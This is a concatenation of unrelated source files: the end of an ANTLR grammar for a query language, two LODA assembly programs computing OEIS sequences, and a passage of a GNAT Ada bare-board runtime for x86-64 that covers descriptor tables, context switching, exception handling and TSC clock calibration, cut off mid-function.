: ('starts' | 'ends')? 'same' dateTimePrecision? (relativeQualifier | 'as') ('start' | 'end')? #concurrentWithIntervalOperatorPhrase
| 'properly'? 'includes' dateTimePrecisionSpecifier? ('start' | 'end')? #includesIntervalOperatorPhrase
| ('starts' | 'ends')? 'properly'? ('during' | 'included in') dateTimePrecisionSpecifier? #includedInIntervalOperatorPhrase
| ('starts' | 'ends')? quantityOffset? ('before' | 'after') dateTimePrecisionSpecifier? ('start' | 'end')? #beforeOrAfterIntervalOperatorPhrase
| ('starts' | 'ends')? 'properly'? 'within' quantityLiteral 'of' ('start' | 'end')? #withinIntervalOperatorPhrase
| 'meets' ('before' | 'after')? dateTimePrecisionSpecifier? #meetsIntervalOperatorPhrase
| 'overlaps' ('before' | 'after')? dateTimePrecisionSpecifier? #overlapsIntervalOperatorPhrase
| 'starts' dateTimePrecisionSpecifier? #startsIntervalOperatorPhrase
| 'ends' dateTimePrecisionSpecifier? #endsIntervalOperatorPhrase
;
term
: identifier #identifierTerm
| literal #literalTerm
| intervalSelector #intervalSelectorTerm
| tupleSelector #tupleSelectorTerm
| listSelector #listSelectorTerm
| '(' expression ')' #parenthesizedTerm
;
intervalSelector
: // TODO: Consider this as an alternative syntax for intervals... (would need to be moved up to expression to make it work)
//expression ( '..' | '*.' | '.*' | '**' ) expression;
'interval' ('['|'(') expression ',' expression (']'|')')
;
tupleSelector
: 'tuple'? '{' (':' | (tupleElementSelector (',' tupleElementSelector)*)) '}'
;
tupleElementSelector
: identifier ':' expression
;
listSelector
: ('list' ('<' typeSpecifier '>')?)? '{' expression? (',' expression)* '}'
;
literal
: nullLiteral
| booleanLiteral
| stringLiteral
| quantityLiteral
;
nullLiteral
: 'null'
;
booleanLiteral
: 'true'
| 'false'
;
stringLiteral
: STRING
;
quantityLiteral
: QUANTITY unit?
;
unit
: dateTimePrecision
| pluralDateTimePrecision
| STRING // UCUM syntax for units of measure
;
identifier
: IDENTIFIER | QUOTEDIDENTIFIER
;
/*
* Lexer Rules
*/
IDENTIFIER
: ([A-Za-z] | '_')([A-Za-z0-9] | '_')*
;
QUANTITY
: [0-9]+('.'[0-9]+)?
;
QUOTEDIDENTIFIER
: '"' ( ~[\\"] )* '"'
;
STRING
: ('\'') ( ~[\\'] )* ('\'')
;
WS
: (' ' | '\r' | '\t') -> channel(HIDDEN)
;
NEWLINE
: ('\n') -> channel(HIDDEN)
;
COMMENT
: '/*' .*? '*/' -> skip
;
LINE_COMMENT
: '//' ~[\r\n]* -> skip
;
|
programs/oeis/309/A309337.asm | karttu/loda | 0 | 100118 | <reponame>karttu/loda<filename>programs/oeis/309/A309337.asm
; A309337: a(n) = n^3 if n odd, 3*n^3/4 if n even.
; 0,1,6,27,48,125,162,343,384,729,750,1331,1296,2197,2058,3375,3072,4913,4374,6859,6000,9261,7986,12167,10368,15625,13182,19683,16464,24389,20250,29791,24576,35937,29478,42875,34992,50653,41154,59319,48000,68921,55566,79507,63888,91125
mov $1,$0
mod $0,2
mul $0,2
add $0,6
pow $1,3
mul $1,$0
div $1,8
|
oeis/305/A305877.asm | neoneye/loda-programs | 11 | 246306 | <filename>oeis/305/A305877.asm
; A305877: Numbers in base 3 reversed.
; Submitted by <NAME>(s3)
; 0,1,2,1,11,21,2,12,22,1,101,201,11,111,211,21,121,221,2,102,202,12,112,212,22,122,222,1,1001,2001,101,1101,2101,201,1201,2201,11,1011,2011,111,1111,2111,211,1211,2211,21,1021,2021,121,1121,2121,221,1221,2221,2,1002,2002,102,1102,2102,202,1202,2202,12,1012,2012,112,1112,2112,212,1212,2212,22,1022,2022,122,1122,2122,222,1222,2222,1,10001,20001,1001,11001,21001,2001,12001,22001,101,10101,20101,1101,11101,21101,2101,12101,22101,201
lpb $0
mov $2,$0
div $0,3
mul $1,10
add $2,$0
mod $2,4
add $1,$2
lpe
mov $0,$1
|
bb-runtimes/src/s-bbcppr__x86_64.adb | JCGobbi/Nucleo-STM32G474RE | 0 | 7310 | ------------------------------------------------------------------------------
-- --
-- GNAT RUN-TIME LIBRARY (GNARL) COMPONENTS --
-- --
-- S Y S T E M . B B . C P U _ P R I M I T I V E S --
-- --
-- B o d y --
-- --
-- Copyright (C) 1999-2002 Universidad Politecnica de Madrid --
-- Copyright (C) 2003-2005 The European Space Agency --
-- Copyright (C) 2003-2021, AdaCore --
-- --
-- GNAT is free software; you can redistribute it and/or modify it under --
-- terms of the GNU General Public License as published by the Free Soft- --
-- ware Foundation; either version 3, or (at your option) any later ver- --
-- sion. GNAT is distributed in the hope that it will be useful, but WITH- --
-- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY --
-- or FITNESS FOR A PARTICULAR PURPOSE. --
-- --
-- As a special exception under Section 7 of GPL version 3, you are granted --
-- additional permissions described in the GCC Runtime Library Exception, --
-- version 3.1, as published by the Free Software Foundation. --
-- --
-- You should have received a copy of the GNU General Public License and --
-- a copy of the GCC Runtime Library Exception along with this program; --
-- see the files COPYING3 and COPYING.RUNTIME respectively. If not, see --
-- <http://www.gnu.org/licenses/>. --
-- --
-- GNAT was originally developed by the GNAT team at New York University. --
-- Extensive contributions were provided by Ada Core Technologies Inc. --
-- --
-- The port of GNARL to bare board targets was initially developed by the --
-- Real-Time Systems Group at the Technical University of Madrid. --
-- --
------------------------------------------------------------------------------
-- This package implements x86-64 architecture specific support for the GNAT
-- Ravenscar run time.
-- *** IMPORTANT ***
--
-- This package needs to be compiled at least at -O1 because the procedure
-- Interrupt_Handler is a naked function that starts with the following
-- instruction:
--
-- Asm
-- ("subq %0, %%gs:%1",
-- Inputs =>
-- (Unsigned_32'Asm_Input ("i", Parameters.Interrupt_Stack_Frame_Size),
-- System.Address'Asm_Input ("m", TSS.IST1)));
--
-- While the %gs register offset has a known compile-time value provided as
-- an inline assembly input, GCC at -O0 will generate code that initially
-- loads the offset into a register first rather than treat the compile-time
-- value as an immediate constant. Since this is a naked function, the
-- register load will trash the effected register before we have a chance to
-- manually save it. (The offset is not hardcoded as a raw integer for
-- readability and maintainability purposes: it allows for the TSS record to
-- change without having to update the affected assembly).
pragma Suppress (All_Checks);
with Ada.Unchecked_Conversion;
with System.BB.Board_Support;
with System.BB.Threads.Queues;
with System.Multiprocessors;
with Interfaces; use Interfaces;
with Interfaces.X86_64; use Interfaces.X86_64;
with System.BB.CPU_Specific; use System.BB.CPU_Specific;
with System.BB.Interrupts; use System.BB.Interrupts;
with System.BB.Parameters; use System.BB.Parameters;
with System.Machine_Code; use System.Machine_Code;
package body System.BB.CPU_Primitives is
package SSE renames System.Storage_Elements;
use type SSE.Storage_Offset;
pragma Warnings (Off, "*bits of * unused");
-- Suppress warning for unused bits in a record as this occurs often in
-- Machine registers.
------------------------
-- Task State Segment --
------------------------
-- The Task State Segment is a processor-unique data record that holds two
-- sets of data:
--
-- 1. Interrupt stack pointers that the processor switches to when an
-- interrupt is raised.
--
-- 2. Run-time x86-64 specific data. We load the address of the
-- processors' TSS into the %GS register so this data is easily
-- accessed during interrupt handlers.
type Task_State_Segment is record
-- Intel defined components --
RSP0 : System.Address;
RSP1 : System.Address;
RSP2 : System.Address;
-- Privilege stack pointers
IST1 : System.Address;
IST2 : System.Address;
IST3 : System.Address;
IST4 : System.Address;
IST5 : System.Address;
IST6 : System.Address;
IST7 : System.Address;
-- Interrupt stack table pointers
IO_Map_Base_Address : Unsigned_16;
-- I/O permission bit map address
-- Runtime defined components --
CPU_ID : Multiprocessors.CPU;
-- The runtime CPU ID is different from the Local APIC ID (runtime CPU
-- starts at 1, Local APIC ID starts at 0), so store the runtime CPU ID
-- here for quick access.
XSAVE_Size : Unsigned_64;
-- Size of the XSAVE state in bytes. Stored here so it can be quickly
-- retrieved in the interrupt handler.
end record;
for Task_State_Segment use record
RSP0 at 4 range 0 .. 63;
RSP1 at 12 range 0 .. 63;
RSP2 at 20 range 0 .. 63;
IST1 at 36 range 0 .. 63;
IST2 at 44 range 0 .. 63;
IST3 at 52 range 0 .. 63;
IST4 at 60 range 0 .. 63;
IST5 at 68 range 0 .. 63;
IST6 at 76 range 0 .. 63;
IST7 at 84 range 0 .. 63;
IO_Map_Base_Address at 104 range 0 .. 15;
CPU_ID at 108 range 0 .. 63;
XSAVE_Size at 116 range 0 .. 63;
end record;
-- Manually layout the record for GDB
CPU_Task_State : array (Multiprocessors.CPU) of aliased Task_State_Segment
with Linker_Section => ".tss";
-- Each CPU will store the address of their respective CPU_Task_State
-- record in their %gs register.
-----------------------------
-- Global Descriptor Table --
-----------------------------
-- The Global Descriptor Table provides the descriptors that are used to
-- configure x86-64 memory segmentation for our run-time. Our use of
-- memory segmentation is limited to providing seperate data and code
-- segments that span 4-GiB of RAM along with TSS segments for each CPU.
-- x86 Descriptor Types
-- See Intel 64 and IA-32 Architectures Software Developer's Manual
-- Volume 3A, Chapter 3: Protected-Mode Memory Management.
type Base_Address_Low_Part is mod 2 ** 24;
type Base_Address_High_Long_Part is mod 2 ** 40;
type Base_Address_High_Word_Part is mod 2 ** 8;
type System_Segment_Type is
(LDT, TSS_Available, TSS_Busy, Call_Gate, Interrupt_Gate, Trap_Gate);
for System_Segment_Type use
(LDT => 2,
TSS_Available => 9,
TSS_Busy => 11,
Call_Gate => 12,
Interrupt_Gate => 14,
Trap_Gate => 15);
type Data_Code_Segment_Kind is (Data_Segment, Code_Segment);
for Data_Code_Segment_Kind use
(Data_Segment => 2#10#, Code_Segment => 2#11#);
type Descriptor_Privilege_Level is mod 2 ** 2;
type Segment_Limit_High_Part is mod 2 ** 4;
type Granularity_Flag is (Limit_in_Byte_Units, Limit_In_4KBytes_Units);
type Segment_Descriptor (Descriptor_Type : Data_Code_Segment_Kind) is record
Segment_Limit_Low : Unsigned_16;
Base_Address_Low : Base_Address_Low_Part;
Accessed : Boolean;
Privilege_Level : Descriptor_Privilege_Level;
Segment_Present : Boolean;
Segment_Limit_High : Segment_Limit_High_Part;
System_Flag : Boolean;
-- The System Flag can be used the runtime for its own use
Granularity : Granularity_Flag;
Base_Address_High : Base_Address_High_Word_Part;
case Descriptor_Type is
when Data_Segment =>
Write_Enabled : Boolean;
Expand_Down : Boolean;
Big_Flag : Boolean;
when Code_Segment =>
Long_Segment : Boolean;
Read_Enabled : Boolean;
Conforming : Boolean;
Default_Size_Flag : Boolean;
end case;
end record with Size => 8 * 8;
for Segment_Descriptor use record
Segment_Limit_Low at 0 range 0 .. 15;
Base_Address_Low at 2 range 0 .. 23;
Accessed at 4 range 8 .. 8;
Write_Enabled at 4 range 9 .. 9;
Read_Enabled at 4 range 9 .. 9;
Expand_Down at 4 range 10 .. 10;
Conforming at 4 range 10 .. 10;
Descriptor_Type at 4 range 11 .. 12;
Privilege_Level at 4 range 13 .. 14;
Segment_Present at 4 range 15 .. 15;
Segment_Limit_High at 4 range 16 .. 19;
System_Flag at 4 range 20 .. 20;
Long_Segment at 4 range 21 .. 21;
Big_Flag at 4 range 22 .. 22;
Default_Size_Flag at 4 range 22 .. 22;
Granularity at 4 range 23 .. 23;
Base_Address_High at 7 range 0 .. 7;
end record;
type TSS_Descriptor is record
Segment_Limit_Low : Unsigned_16;
Base_Address_Low : Base_Address_Low_Part;
Segment_Type : System_Segment_Type;
Privilege_Level : Descriptor_Privilege_Level;
Segment_Present : Boolean;
Segment_Limit_High : Segment_Limit_High_Part;
System_Flag : Boolean;
-- The System Flag can be used the runtime for its own use
Granularity : Granularity_Flag;
Base_Address_High : Base_Address_High_Long_Part;
end record with Size => 128;
for TSS_Descriptor use record
Segment_Limit_Low at 0 range 0 .. 15;
Base_Address_Low at 2 range 0 .. 23;
Segment_Type at 4 range 8 .. 12;
Privilege_Level at 4 range 13 .. 14;
Segment_Present at 4 range 15 .. 15;
Segment_Limit_High at 4 range 16 .. 19;
System_Flag at 4 range 20 .. 20;
Granularity at 4 range 23 .. 23;
Base_Address_High at 7 range 0 .. 39;
end record;
type TSS_Entries is array (Multiprocessors.CPU) of TSS_Descriptor;
type Runtime_Gobal_Descriptor_Table is record
Null_Descriptor : Unsigned_64; -- As required by CPU
Code : Segment_Descriptor (Code_Segment);
Data : Segment_Descriptor (Data_Segment);
CPU_TSS : TSS_Entries;
end record;
-- GDT used by the runtime. This will replace the default GDT in start.S
-- by including the TSS Descriptors for each CPU.
-- Note: the IDT uses the position of the Code segment. If the position of
-- the code segment changes then the IDT in vector_table.S needs updating.
type Descriptor_Pointer is record
Limit : Unsigned_16;
Base_Address : System.Address;
end record;
for Descriptor_Pointer use record
Limit at 0 range 0 .. 15;
Base_Address at 2 range 0 .. 63;
end record;
GDT : Runtime_Gobal_Descriptor_Table :=
(Null_Descriptor => 0,
-- Code and Data segments
-- Map to the full 4GB by using Segment Limit 16#FFFFF# and base of 0.
Code =>
(Descriptor_Type => Code_Segment,
Segment_Limit_Low => 16#FFFF#,
Base_Address_Low => 0,
Accessed => False,
Read_Enabled => True,
Conforming => False,
Privilege_Level => 0,
Segment_Present => True,
Segment_Limit_High => 16#F#,
System_Flag => False,
Long_Segment => True,
Default_Size_Flag => False,
Granularity => Limit_In_4KBytes_Units,
Base_Address_High => 0),
Data =>
(Descriptor_Type => Data_Segment,
Segment_Limit_Low => 16#FFFF#,
Base_Address_Low => 0,
Accessed => False,
Write_Enabled => True,
Expand_Down => False,
Privilege_Level => 0,
Segment_Present => True,
Segment_Limit_High => 16#F#,
System_Flag => False,
Big_Flag => True,
Granularity => Limit_In_4KBytes_Units,
Base_Address_High => 0),
-- CPU TSS. One needed for each CPU.
CPU_TSS =>
(others =>
(Segment_Limit_Low => (Task_State_Segment'Size) / 8 - 1,
-- Only the contents of the TSS Descriptor should be accessed via
-- this segment.
Base_Address_Low => 0,
-- We will set the processor's TSS base address in the
-- Initialize_CPU procedure for two reasons:
-- 1. It's hard to split (or even just take the lower part) of
-- System.Address in a preelaborate unit with no elaboration.
-- 2. Makes it easier to change the number of CPU's
Segment_Type => TSS_Available,
Privilege_Level => 0,
Segment_Present => True,
Segment_Limit_High => 0,
System_Flag => False,
Granularity => Limit_in_Byte_Units,
Base_Address_High => 0)))
with Alignment => 8, Linker_Section => ".gdt";
---------------------------
-- Exception Stack Table --
---------------------------
-- x86 exceptions use a seperate stack from interrupt handlers as they use
-- traps which means they can occur at any time and do not disable
-- interrupts when they execute.
type Exception_Stack_Space is new Storage_Elements.Storage_Array
(1 .. Storage_Elements.Storage_Offset (Parameters.Exception_Stack_Size));
for Exception_Stack_Space'Alignment use CPU_Specific.Stack_Alignment;
pragma Suppress_Initialization (Exception_Stack_Space);
-- Type used to represent the stack area for each exception. The stack must
-- be aligned to the CPU specific alignment.
Exception_Stacks : array (Multiprocessors.CPU) of Exception_Stack_Space
with Linker_Section => ".interrupt_stacks";
-- Array that contains the stack used for exceptions on each CPU.
procedure Exception_Handler
with Export, External_Name => "__gnat_exception_handler";
-- Handler for exceptions. This procedure takes into account that the
-- processor or exception stub will push an error code on the stack that
-- we need to remove before we exit. It's also a simpler implementation
-- than the Interrupt_Handler because the hardware does not support nested
-- exceptions (outside the double fault exception which is terminal).
pragma Machine_Attribute (Exception_Handler, "naked");
-- We do not want the compiler creating any prologue or epilogue sequences
-- for our handler function.
procedure Process_Exception (ID : Interrupt_ID; Code : Error_Code);
-- Process the exception that was raised and invoke any specific runtime
-- response. This is seperate from the Exception_Handler above as we can
-- more freely use Ada code.
------------------------
-- Interrupt Handling --
------------------------
procedure Interrupt_Handler
with Export, External_Name => "__gnat_interrupt_handler";
-- The interrupt handler routine is implemented in inline assembly rather
-- than in a standalone assembly file because it uses constants defined
-- in Ada code that are hard to use in assembly without resorting to
-- duplicating them and creating a maintenance burden.
pragma Machine_Attribute (Interrupt_Handler, "naked");
-- We do not want the compiler creating any prologue or epilogue sequences
-- for our handler function.
Spurious_Interrupt_Vector : constant := 32;
-- Vector for the spurious interrupts. Keep in sync with vector_table.S
-----------------------
-- Context Switching --
-----------------------
function Get_CR4 return Control_Register_4;
procedure Set_CR4 (CR4 : Control_Register_4);
-- Get and set the CR4 register
procedure Thread_Start;
pragma Machine_Attribute (Thread_Start, "naked");
-- Starting point for a new thread. Since we use the normal context
-- switching routines to switch to a new thread, we have to pass the thread
-- argument through a callee-saved register and use this function to move
-- it to %rdi before calling the thread's procedure.
--------------------
-- Floating-Point --
--------------------
Runtime_SSE_MXCSR : constant Unsigned_32 := 16#1F80#;
-- Default SSE MXCSR with default 0x1F80
-----------
-- Timer --
-----------
function Determine_TSC_Frequency return Unsigned_64;
-- Attempt to find out what the TSC frequency (kHz) from the CPU. If it
-- returns zero it means we were not able to determine the frequency of the
-- processor.
-------------------
-- Miscellaneous --
-------------------
NL : constant String := ASCII.LF & ASCII.HT;
-- New line separator in Asm templates
--------------------
-- Context_Switch --
--------------------
procedure Context_Switch is
use System.BB.Threads.Queues;
use System.BB.Threads;
CPU_Id : constant System.Multiprocessors.CPU :=
Board_Support.Multiprocessors.Current_CPU;
New_Priority : constant Integer :=
First_Thread_Table (CPU_Id).Active_Priority;
begin
-- Set the hardware interrupt priority mask
if New_Priority < Interrupt_Priority'Last then
Board_Support.Interrupts.Set_Current_Priority (New_Priority);
end if;
-- Save the callee-saved values into the context save space of the
-- curent thread.
Asm
( -- RIP (Return address)
"popq %%rax" & NL &
"movq %%rax, 0(%0)" & NL &
-- RFLAGS
"pushfq" & NL &
"popq %%rax" & NL &
"movq %%rax, 8(%0)" & NL &
-- Callee save registers
"movq %%rsp, 16(%0)" & NL &
"movq %%rbx, 24(%0)" & NL &
"movq %%rbp, 32(%0)" & NL &
"movq %%r12, 40(%0)" & NL &
"movq %%r13, 48(%0)" & NL &
"movq %%r14, 56(%0)" & NL &
"movq %%r15, 64(%0)",
Inputs => Thread_Id'Asm_Input ("r", Running_Thread_Table (CPU_Id)),
Clobber => "rax",
Volatile => True);
-- While the x87 FPU Control Word and SSE MXCSR Control and Status
-- Register are callee save we don't save it as they are under control
-- of the runtime (and shouldn't need to change between tasks).
-- Note the new running task in Running_Thread_Table
Running_Thread_Table (CPU_Id) := First_Thread_Table (CPU_Id);
-- Restore the callee-saved registers of the task we are switching to
Asm
( -- Callee save registers
"movq 16(%0), %%rsp" & NL &
"movq 24(%0), %%rbx" & NL &
"movq 32(%0), %%rbp" & NL &
"movq 40(%0), %%r12" & NL &
"movq 48(%0), %%r13" & NL &
"movq 56(%0), %%r14" & NL &
"movq 64(%0), %%r15" & NL &
-- RIP (Return address)
"pushq 0(%0)" & NL &
-- RFLAGS
"pushq 8(%0)" & NL &
"popfq",
Inputs => Thread_Id'Asm_Input ("r", First_Thread_Table (CPU_Id)),
Volatile => True);
end Context_Switch;
-----------------------------
-- Determine_TSC_Frequency --
-----------------------------
-- Refer to Intel 64 and IA-32 Architectures Software Developer's Manual,
-- Volume 3B, Section 18.7.3 for all the magic that happens here.
function Determine_TSC_Frequency return Unsigned_64 is
TSC_Information_Leaf : constant := 16#15#;
Processor_Frequency_Info_Leaf : constant := 16#16#;
-- CPUID leaf IDs
Core_Crystal_Clock_Mhz : Unsigned_64;
TSC_Ratio_Numerator : Unsigned_64;
TSC_Ratio_Denominator : Unsigned_64;
Processor_Base_Frequency : Unsigned_64;
-- Clock information that we query from the CPU
TSC_Frequency : Unsigned_64 := 0;
-- The Frequency of our Clock. If zero it means we were not able to
-- determine the frequency of the processor.
MHz : constant := 1_000_000_000;
begin
if Max_CPUID_Index >= TSC_Information_Leaf then
-- Try to see if the TSC Information Leaf 15H has the information we
-- need.
Asm ("cpuid",
Inputs => Unsigned_32'Asm_Input ("a", TSC_Information_Leaf),
Outputs =>
(Unsigned_64'Asm_Output ("=a", TSC_Ratio_Denominator),
Unsigned_64'Asm_Output ("=b", TSC_Ratio_Numerator),
Unsigned_64'Asm_Output ("=c", Core_Crystal_Clock_Mhz)),
Volatile => True);
-- The easiest case is the processor has enumerated all the TSC ratio
-- in CPUID Leaf 15H.
if TSC_Ratio_Numerator /= 0 and then TSC_Ratio_Denominator /= 0 then
-- The processor has enumerated the core crystal clock frequency.
-- (only newer processors do this sadly).
if Core_Crystal_Clock_Mhz /= 0 then
TSC_Frequency :=
Core_Crystal_Clock_Mhz * MHz * TSC_Ratio_Numerator /
TSC_Ratio_Denominator;
-- The Denverton SoC does not report the crystal clock and lacks
-- the CPUID Leaf 16H used to calculate the TSC frequency below. A
-- hardcoded 25 MHz crystal clock is used instead.
elsif My_CPU_Model = Denverton then
Core_Crystal_Clock_Mhz := 25_000_000;
TSC_Frequency :=
Core_Crystal_Clock_Mhz * MHz * TSC_Ratio_Numerator /
TSC_Ratio_Denominator;
-- When the core crystal clock frequency is not enumerated the TSC
-- appears to use the base frequency reported in CPUID Leaf 16H.
elsif Max_CPUID_Index >= Processor_Frequency_Info_Leaf then
Asm ("cpuid",
Inputs =>
Unsigned_32'Asm_Input
("a", Processor_Frequency_Info_Leaf),
Outputs =>
Unsigned_64'Asm_Output ("=a", Processor_Base_Frequency),
Volatile => True);
TSC_Frequency := Processor_Base_Frequency * MHz;
end if;
end if;
-- Sandy Bridge, Ivy Bridge, Haswell and Broadwell microarchitectures
-- derive their TSC from the bus frequency. Consequently, the TSC
-- calculated here assumes the nominal 100 MHz bus frequency defined
-- for these microarchitectures.
elsif My_CPU_Model in
Sandy_Bridge_Client | Sandy_Bridge_Server | Ivy_Bridge_Client |
Ivy_Bridge_Server | Haswell_Client | Haswell_Client_L |
Haswell_Client_G | Haswell_Server | Broadwell_Client |
Broadwell_Client_G | Broadwell_Server | Broadwell_Server_D |
Goldmont
then
declare
Bus_Frequency : constant := 100 * MHz;
Platform_Info : Platform_Infomation;
begin
Asm ("rdmsr",
Inputs => Unsigned_32'Asm_Input ("a", MSR_PLATFORM_INFO),
Outputs =>
Platform_Infomation'Asm_Output ("=a", Platform_Info),
Volatile => True);
TSC_Frequency :=
Unsigned_64 (Platform_Info.Maximum_Non_Turbo_Ratio)
* Bus_Frequency;
end;
end if;
-- If we got to this point and have not been able to determine the
-- clock frequency, we have to determine the TSC Frequency by testing
-- it against the Programmable Interval Timer (PIT), which has a known
-- frequency.
if TSC_Frequency = 0 then
declare
function Calculate_Frequency return Unsigned_64;
-- Calculate the frequency of the TSC by comparing the number of
-- TSC ticks against a set number of PIT ticks, which has a known
-- frequency of 1.193182 MHz.
-------------------------
-- Calculate_Frequency --
-------------------------
function Calculate_Frequency return Unsigned_64 is
PIT_Frequency : constant := 1_193_182;
-- PIT operates at 1.193182 MHz
PIT_Ticks_To_Count : constant := 11_932;
-- The number of PIT tickets we want to a we want to count the
-- TSC over. This number corresponds to approximately 10ms.
PIT_Reset_Count : constant Unsigned_16_Bytable :=
(View => Full, Value => Unsigned_16'Last);
-- Value we want the PIT to start from
Start_PIT : Unsigned_16_Bytable;
Current_PIT : Unsigned_16_Bytable;
Target_PIT : Unsigned_16;
PIT_Tick_Count : Unsigned_16;
-- Start and end value of the PIT run and the target PIT value
-- that we'll stop the run at
Start_TSC : Unsigned_64;
End_TSC : Unsigned_64;
TSC_Tick_Count : Unsigned_64;
-- Start and end value of the TSC run and the resulting number
-- of ticks.
begin
-- Set PIT reset value
Write_IO_Byte (PIT_Reset_Count.Low, PIT_Channel_0_Data_Port);
Write_IO_Byte (PIT_Reset_Count.High, PIT_Channel_0_Data_Port);
-- Wait until the PIT clock ticks over so we do not start the
-- timing run in the middle of a tick.
Start_PIT.Low := Read_IO_Byte (PIT_Channel_0_Data_Port);
Start_PIT.High := Read_IO_Byte (PIT_Channel_0_Data_Port);
loop
Current_PIT.Low := Read_IO_Byte (PIT_Channel_0_Data_Port);
Current_PIT.High := Read_IO_Byte (PIT_Channel_0_Data_Port);
exit when Current_PIT.Value /= Start_PIT.Value;
end loop;
-- Start timing run
Start_TSC := Read_Raw_Clock;
Start_PIT.Value := Current_PIT.Value;
Target_PIT := Start_PIT.Value - PIT_Ticks_To_Count;
loop
Current_PIT.Low := Read_IO_Byte (PIT_Channel_0_Data_Port);
Current_PIT.High := Read_IO_Byte (PIT_Channel_0_Data_Port);
-- QEMU may jump over PIT values on successive reads so
-- exit once we have reached or past the target value.
exit when Current_PIT.Value <= Target_PIT;
end loop;
End_TSC := Read_Raw_Clock;
-- Calculate TSC frequency from the results of the timing run
TSC_Tick_Count := End_TSC - Start_TSC;
PIT_Tick_Count := Start_PIT.Value - Current_PIT.Value;
-- We can do the following multiplication first since we won't
-- overflow the Unsigned_64 type because the maximum number of
-- TSC ticks in a second is at most the frequency of the CPU,
-- which currently tops out at around 5 GHz.
return
TSC_Tick_Count * PIT_Frequency / Unsigned_64 (PIT_Tick_Count);
end Calculate_Frequency;
PIT_Config : constant PIT_Mode_Command_Register :=
(Channel => Channel_0,
Access_Mode => Low_High_Byte,
Operating_Mode => Interrupt_On_Terminal_Count,
BCD_Binary_Mode => Binary);
-- PIT configuration settings
type Clock_Runs is range 1 .. 5;
-- We determine the TSC clock frequency over 5 runs to account
-- for variations in the PIT and TSC sources that we see on
-- virtualized hosts.
Frequency_Results : array (Clock_Runs) of Unsigned_64;
-- Array for the results of each clock determining run
Median_Index : constant := (Frequency_Results'Length + 1) / 2;
-- Helper constant to locate the median result in the array
Acceptable_Clock_Difference : constant := 20;
-- The maximum percentage difference between clock runs
-- that we find acceptable.
Max_Frequency_Error : Integer_64;
-- The maximum difference between two clock frequency measurement
-- we will tolerate.
begin
-- Configure PIT
Write_IO_Byte (To_IO_Byte (PIT_Config), PIT_Mode_Command_Port);
-- Find the TSC frequency over the number of specified runs
for Run_Number in Frequency_Results'Range loop
Frequency_Results (Run_Number) := Calculate_Frequency;
end loop;
-- Pick the median result. Do this by first sorting the results
for J in Frequency_Results'First .. Frequency_Results'Last - 1 loop
for K in J + 1 .. Frequency_Results'Last loop
declare
Swap_Temp : Unsigned_64;
begin
if Frequency_Results (K) < Frequency_Results (J) then
Swap_Temp := Frequency_Results (J);
Frequency_Results (J) := Frequency_Results (K);
Frequency_Results (K) := Swap_Temp;
end if;
end;
end loop;
end loop;
TSC_Frequency := Frequency_Results (Median_Index);
Max_Frequency_Error :=
Integer_64 (TSC_Frequency / Acceptable_Clock_Difference);
if abs
(Integer_64 (TSC_Frequency) -
Integer_64 (Frequency_Results (Median_Index - 1))) >
Max_Frequency_Error
or else
abs
(Integer_64 (TSC_Frequency) -
Integer_64 (Frequency_Results (Median_Index + 1))) >
Max_Frequency_Error
then
raise Program_Error with "Clock measurements lack precision";
end if;
end;
end if;
return TSC_Frequency;
end Determine_TSC_Frequency;
------------------------
-- Disable_Interrupts --
------------------------
procedure Disable_Interrupts is
begin
Asm ("cli", Volatile => True);
end Disable_Interrupts;
-----------------------
-- Enable_Interrupts --
-----------------------
procedure Enable_Interrupts (Level : Integer) is
begin
if Level /= System.Interrupt_Priority'Last then
Board_Support.Interrupts.Set_Current_Priority (Level);
-- Really enable interrupts
Asm ("sti", Volatile => True);
end if;
end Enable_Interrupts;
-----------------------
-- Exception_Handler --
-----------------------
-- Important note: this function is a naked assembly function and care
-- should be taken when Ada code is used to ensure the registers and
-- stack are not improperly manipulated.
procedure Exception_Handler is
Number : Interrupt_ID;
Code : Error_Code;
begin
-- The processor and the vector stub has pushed the following contents
-- onto the interrupt stack:
--
-- SS
-- RSP
-- RFLAGS
-- CS
-- RIP
-- Exception Code
-- Exception Number <-- RSP
--
-- Save the rest of the integer caller-save registers.
Asm
("pushq %%rax" & NL &
"pushq %%rcx" & NL &
"pushq %%rdx" & NL &
"pushq %%rdi" & NL &
"pushq %%rsi" & NL &
"pushq %%r8" & NL &
"pushq %%r9" & NL &
"pushq %%r10" & NL &
"pushq %%r11",
Volatile => True);
-- Retrieve the exception number and code off the stack
Asm
("movq 80(%%rsp), %0" & NL &
"movl 72(%%rsp), %1",
Outputs =>
(Error_Code'Asm_Output ("=r", Code),
Interrupt_ID'Asm_Output ("=r", Number)),
Volatile => True);
-- We don't need to save the vector and floating point states as the
-- exception handlers should not touch these registers.
-- Handle the exception in proper Ada code
Process_Exception (Number, Code);
-- Exception has been successfully handled. Time to clean up and exit.
-- Since processing an exception will not modify the task queues no
-- need to check if we need to context switch to another task.
Asm
("popq %%r11" & NL &
"popq %%r10" & NL &
"popq %%r9" & NL &
"popq %%r8" & NL &
"popq %%rsi" & NL &
"popq %%rdi" & NL &
"popq %%rdx" & NL &
"popq %%rcx" & NL &
"popq %%rax",
Volatile => True);
-- Remove the Exception Number and Code from the stack
Asm
("addq $16, %%rsp",
Volatile => True);
-- Return to task
Asm ("iretq", Volatile => True);
end Exception_Handler;
-------------
-- Get_CR4 --
-------------
function Get_CR4 return Control_Register_4 is
CR4 : Control_Register_4;
begin
Asm
("movq %%cr4, %0",
Outputs => Control_Register_4'Asm_Output ("=r", CR4),
Volatile => True);
return CR4;
end Get_CR4;
----------------------
-- Initialize_Stack --
----------------------
procedure Initialize_Stack
(Base : Address;
Size : Storage_Elements.Storage_Offset;
Stack_Pointer : out Address)
is
use System.Storage_Elements;
begin
-- Round down Stack Pointer to next aligned address to point to last
-- valid stack address.
Stack_Pointer := Base + (Size - (Size mod CPU_Specific.Stack_Alignment));
end Initialize_Stack;
------------------------
-- Initialize_Context --
------------------------
procedure Initialize_Context
(Buffer : not null access Context_Buffer;
Program_Counter : System.Address;
Argument : System.Address;
Stack_Pointer : System.Address)
is
Initial_SP : Address;
begin
-- No need to initialize the context of the environment task
if Program_Counter = Null_Address then
return;
end if;
-- We cheat as we don't know the stack size nor the stack base
Initialize_Stack (Stack_Pointer, 0, Initial_SP);
-- Setup the initial context for the task
-- Registers R12 and R13 are used to pass the start procedure and
-- its parameter to the task start wrapper on the first context switch
-- to the task.
Buffer.all :=
(RIP => Thread_Start'Address,
RFLAGS =>
(Interrupt_Enable_Flag => True,
IO_Privilege_Level => 0,
Carry_Flag => False,
others => False),
RSP => Initial_SP,
